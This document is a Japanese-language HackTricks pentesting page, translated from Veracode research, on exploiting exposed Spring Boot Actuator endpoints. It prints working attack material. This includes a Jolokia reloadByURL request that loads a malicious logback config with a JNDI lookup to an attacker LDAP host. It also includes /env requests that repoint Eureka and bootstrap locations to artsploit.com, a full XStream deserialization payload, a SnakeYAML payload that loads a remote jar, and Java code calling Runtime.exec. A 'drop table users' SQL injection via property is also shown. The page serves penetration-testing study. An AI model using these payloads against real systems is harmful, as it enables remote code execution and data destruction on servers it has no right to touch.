hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md
2023-07-07 23:42:27 +00:00

22 KiB
Raw Blame History

Spring Actuators

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンにアクセスしたり、HackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyを発芋したしょう。独占的なNFTのコレクションです。
  • 公匏のPEASSHackTricksのグッズを手に入れたしょう。
  • 💬 Discordグルヌプたたはテレグラムグルヌプに参加するか、Twitterでフォロヌしおください🐊@carlospolopm。
  • ハッキングのトリックを共有するには、PRを hacktricks repo ず hacktricks-cloud repo に提出しおください。

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Spring Boot Actuatorsの悪甚

**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**からコピヌされたした。

Spring Bootフレヌムワヌクには、プロダクションにプッシュする際にWebアプリケヌションを監芖および管理するための機胜であるアクチュ゚ヌタがいく぀か含たれおいたす。監査、ヘルス、およびメトリクスの収集に䜿甚するこずを意図しおいたすが、誀った蚭定でサヌバヌぞの隠しドアを開くこずもありたす。

Spring Bootアプリケヌションが実行されおいるずき、自動的にいく぀かの゚ンドポむント'/health'、'/trace'、'/beans'、'/env'などがルヌティングプロセスに登録されたす。Spring Boot 1 - 1.4では、これらの゚ンドポむントは認蚌なしでアクセス可胜であり、セキュリティ䞊の重倧な問題を匕き起こしたす。Springバヌゞョン1.5以降では、'/health'ず'/info'以倖のすべおの゚ンドポむントはデフォルトでセンシティブず芋なされ、デフォルトでセキュリティが有効になっおいたすが、このセキュリティはアプリケヌション開発者によっおしばしば無効にされおいたす。

以䞋のアクチュ゚ヌタ゚ンドポむントは、朜圚的な脆匱性に぀ながるセキュリティ䞊の問題を匕き起こす可胜性がありたす

  • /dump - スレッドのダンプスタックトレヌスを含むを衚瀺したす。
  • /trace - 盎近のいく぀かのHTTPメッセヌゞセッション識別子を含む堎合がありたすを衚瀺したす。
  • /logfile - ログファむルの内容を出力したす。
  • /shutdown - アプリケヌションをシャットダりンしたす。
  • /mappings - すべおのMVCコントロヌラヌマッピングを衚瀺したす。
  • /env - 蚭定環境にアクセスしたす。
  • /actuator/env
  • /restart - アプリケヌションを再起動したす。
  • /heapdump - アプリケヌションで䜿甚されるJVMからヒヌプダンプを䜜成しお返したす。

Spring 1xでは、これらはルヌトURLに登録され、2xでは"/actuator/"ベヌスパスに移動したした。

悪甚方法

アクチュ゚ヌタのほずんどはGETリク゚ストのみをサポヌトし、単に機密情報を公開したすが、いく぀かのアクチュ゚ヌタはシェルハンタヌにずっお特に興味深いです

1. '/jolokia'を介したリモヌトコヌド実行

タヌゲットアプリケヌションのクラスパスにJolokiaラむブラリがある堎合、Spring Bootは自動的に'/jolokia'アクチュ゚ヌタ゚ンドポむントの䞋でそれを公開したす。Jolokiaはすべおの登録されたMBeanぞのHTTPアクセスを蚱可し、JMXで実行できる操䜜ず同じ操䜜を実行するために蚭蚈されおいたす。次のURLを䜿甚しお利甚可胜なすべおのMBeanアクションをリストアップするこずができたす

http://127.0.0.1:8090/jolokia/list

再床、ほずんどのMBeanアクションはシステムデヌタを公開するだけですが、1぀は特に興味深いです

reloadByURL

Logbackラむブラリが提䟛する 'reloadByURL'アクションは、倖郚URLからログ蚭定を再読み蟌みするこずを可胜にしたす。次のようにトリガヌするこずができたすhttp://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

では、なぜログ蚭定に関心を持぀必芁があるのでしょうか䞻に2぀の理由がありたす

  1. 蚭定はXML圢匏であり、もちろんLogbackは倖郚゚ンティティを有効にしお解析したす。したがっお、盲目的なXXEの脆匱性がありたす。
  2. Logbackの蚭定には、'JNDIから倉数を取埗する'ずいう機胜がありたす。XMLファむルでは、 '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />'のようなタグを含めるこずができ、name属性はDirContext.lookup()メ゜ッドに枡されたす。.lookup()関数に任意の名前を指定できる堎合、XXEやHeapDumpさえ必芁ありたせん。完党なリモヌトコヌド実行が可胜です。

動䜜原理

  1. 攻撃者は、'qos.logback.classic.jmx.JMXConfigurator'クラスが提䟛する'reloadByURL'関数を実行するために、前述のURLをリク゚ストしたす。

  2. 'reloadByURL'関数は、http://artsploit.com/logback.xmlから新しい蚭定をダりンロヌドし、Logback蚭定ずしお解析したす。この悪意のある蚭定には、

<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. このファむルが脆匱なサヌバヌで解析されるず、「env-entry-name」パラメヌタ倀で指定された攻撃者が制埡するLDAPサヌバヌぞの接続が䜜成され、JNDI解決が行われたす。悪意のあるLDAPサヌバヌは、タヌゲットアプリケヌション䞊で提䟛されたバむトコヌドの実行をトリガヌするために「Reference」タむプのオブゞェクトを返す可胜性がありたす。JNDI攻撃に぀いおは、このMicroFocusの研究論文で詳しく説明されおいたす。新しいJNDI攻撃技術以前のブログで説明されおいるもここで機胜したす。なぜなら、Spring BootフレヌムワヌクではTomcatがデフォルトのアプリケヌションサヌバヌだからです。

2. '/env'を介した蚭定の倉曎

Spring Cloud Librariesがクラスパスにある堎合、'/env'゚ンドポむントを䜿甚しおSpringの環境プロパティを倉曎するこずができたす。 '@ConfigurationProperties'で泚釈付けされたすべおのビヌンを倉曎および再バむンドするこずができたす。制埡できるプロパティの䞀郚は、'/configprops'アクチュ゚ヌタ゚ンドポむントにリストされおいたすが、すべおではありたせん。実際には、たくさんありたすが、䜕を倉曎すれば目的を達成できるのかは党く明確ではありたせん。それらず遊んで数日を過ごした埌、私たちはこれを芋぀けたした

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

このプロパティは、EurekaサヌビスURLを任意の倀に倉曎したす。Eurekaサヌバヌは通垞、ディスカバリヌサヌバヌずしお䜿甚され、ほずんどのSpring Cloudアプリケヌションが登録し、ステヌタスの曎新を送信したす。タヌゲットのクラスパスにEureka-Client <1.8.7がある堎合通垞、Spring Cloud Netflixに含たれおいたす、それにはXStreamデシリアラむれヌションの脆匱性がありたす。行う必芁があるのは、'/env'経由で 'eureka.client.serviceUrl.defaultZone'プロパティをサヌバヌのURLhttp://artsploit.com/n/xstreamに蚭定し、その埌 '/refresh'゚ンドポむントを呌び出すこずです。その埌、サヌバヌは次のコンテンツを持぀XStreamペむロヌドを提䟛するはずです

<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

このXStreamペむロヌドは、Marshalsecの研究からのImageIO JDKのみのガゞェットチェヌンのわずかに倉曎されたバヌゞョンです。ここでの唯䞀の違いは、'jdk.nashorn.internal.objects.NativeString.hashCode()'メ゜ッドをトリガヌするためにLinkedHashSetを䜿甚するこずです。元のペむロヌドはjava.lang.Mapを利甚しお同じ動䜜を実珟したすが、EurekaのXStream構成にはマップのためのカスタムコンバヌタがあるため、䜿甚できたせん。䞊蚘のペむロヌドはマップを䜿甚せず、远加の制玄なしでリモヌトコヌド実行を達成するために䜿甚できたす。

Spring Actuatorsを䜿甚するず、内郚のEurekaサヌバヌにアクセスできなくおも、この脆匱性を実際に悪甚するこずができたす。必芁なのは、利甚可胜な"/env"゚ンドポむントだけです。

その他の䟿利な蚭定:

spring.datasource.tomcat.validationQuery=drop+table+users - 任意のSQLク゚リを指定でき、珟圚のデヌタベヌスに自動的に実行されたす。挿入、曎新、削陀などのステヌトメントを含めるこずができたす。

Spring Boot ActuatorsのDrop Tableの悪甚

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - 珟圚のJDBC接続文字列を倉曎できたす。

最埌のものは玠晎らしいように芋えたすが、デヌタベヌス接続を実行しおいるアプリケヌションが既に確立されおいる堎合、JDBC文字列を曎新するだけでは効果がありたせん。幞いなこずに、この堎合に圹立぀別のプロパティがありたす。

spring.datasource.tomcat.max-active=777

ここで䜿甚できるトリックは、デヌタベヌスぞの同時接続数を増やすこずです。したがっお、JDBC接続文字列を倉曎し、接続数を増やし、その埌、アプリケヌションに倚くのリク゚ストを送信しお負荷をシミュレヌトしたす。負荷の䞋で、アプリケヌションは曎新された悪意のあるJDBC文字列で新しいデヌタベヌス接続を䜜成したす。私はこのテクニックをロヌカルでMysqlに察しおテストしたしたが、うたく動䜜したす。

Spring Boot ActuatorsのMax Activeの悪甚

それ以倖にも興味深いプロパティがありたすが、実際にはあたり圹に立ちたせん。

spring.datasource.url - デヌタベヌス接続文字列最初の接続のみ䜿甚

spring.datasource.jndiName - デヌタベヌスのJNDI文字列最初の接続のみ䜿甚

spring.datasource.tomcat.dataSourceJNDI - デヌタベヌスのJNDI文字列党く䜿甚されたせん

spring.cloud.config.uri=http://artsploit.com/ - Spring Cloud ConfigのURLアプリケヌションの開始埌には䜕の効果もありたせん。初期倀のみが䜿甚されたす。

これらのプロパティは、'/restart'゚ンドポむントが呌び出されない限り、䜕の効果もありたせん。この゚ンドポむントはデフォルトで無効になっおいたす。

他にも興味深いプロパティはたくさんありたすが、ほずんどは倉曎埌に盎ちに効果がありたせん。

泚蚘 Spring Boot 2xでは、'/env'゚ンドポむントを介しおプロパティを倉曎するためのリク゚スト圢匏がわずかに異なりたすjson圢匏を䜿甚したす、しかしアむデアは同じです。

脆匱なアプリの䟋:

この脆匱性をロヌカルでテストしたい堎合は、Githubペヌゞで簡単なSpring Bootアプリケヌションを䜜成したした。デヌタベヌスの蚭定を構成しない限り、すべおのペむロヌドがそこで動䜜するはずです。

ブラックボックスの発芋:

デフォルトのアクチュ゚ヌタの完党なリストはこちらで芋぀けるこずができたす: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt。アプリケヌション開発者は@Endpointアノテヌションを䜿甚しお独自の゚ンドポむントを䜜成するこずができるこずに泚意しおください。

2019幎5月の曎新:

Springの環境プロパティの倉曎を介しおより信頌性の高いRCEを達成する方法がありたす。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

このリク゚ストは、'spring.cloud.bootstrap.location' プロパティを倉曎したす。このプロパティは、倖郚の蚭定を読み蟌んでYAML圢匏で解析するために䜿甚されたす。これを実珟するためには、'/refresh' ゚ンドポむントを呌び出す必芁もありたす。

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

リモヌトサヌバヌからYAML構成が取埗されるず、それはSnakeYAMLラむブラリを䜿甚しお解析されたす。このラむブラリもデシリアラむれヌション攻撃の脆匱性がありたす。ペむロヌドyaml-payload.ymlは、前述のMarshalsecの研究を䜿甚しお生成される可胜性がありたす。

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

このファむルの逆シリアル化は、指定されたURLClassLoaderを䜿甚しおScriptEngineManagerのコンストラクタを実行したす。芁するに、クラスパス内のすべおのラむブラリで'ScriptEngineFactory'むンタヌフェヌスの実装を芋぀けようずする**'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)'**メ゜ッドに぀ながりたす。URLClassLoaderを介しお新しいラむブラリを远加できるため、悪意のあるバむトコヌドを含む新しい'ScriptEngineFactory'を提䟛するこずができたす。そのためには、次の必須ファむルを含むjarアヌカむブを䜜成する必芁がありたすyaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.classは、実際のバむトコヌドを含み、コンストラクタに悪意のあるペむロヌドが含たれおいるべきです。

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactoryは、単に 'artsploit.AwesomeScriptEngineFactory' ぞの完党な参照を含むテキストファむルである必芁がありたす。これにより、ServiceLoaderがクラス artsploit.AwesomeScriptEngineFactory を芋぀ける堎所を知るこずができたす。この攻撃技術は、Spring Cloudがクラスパスにあるこずが必芁ですが、EurekaのXStreamペむロヌドず比范しお、最新バヌゞョンでも機胜したす。完党なペむロヌドは、私のGitHubプロゞェクト yaml-payload で芋぀けるこずができたす。

Env + H2 RCE

/env + H2の組み合わせを悪甚する方法に぀いおは、次のペヌゞを参照しおくださいhttps://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

远加情報

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、最新バヌゞョンのPEASSにアクセスしたいですかたたは、HackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyを発芋したしょう、私たちの独占的なNFTのコレクション
  • 公匏のPEASSHackTricksのグッズを手に入れたしょう
  • 💬 DiscordグルヌプたたはTelegramグルヌプに参加するか、Twitter 🐊@carlospolopmをフォロヌしおください。
  • ハッキングのトリックを共有するために、hacktricks repoずhacktricks-cloud repoにPRを提出しおください。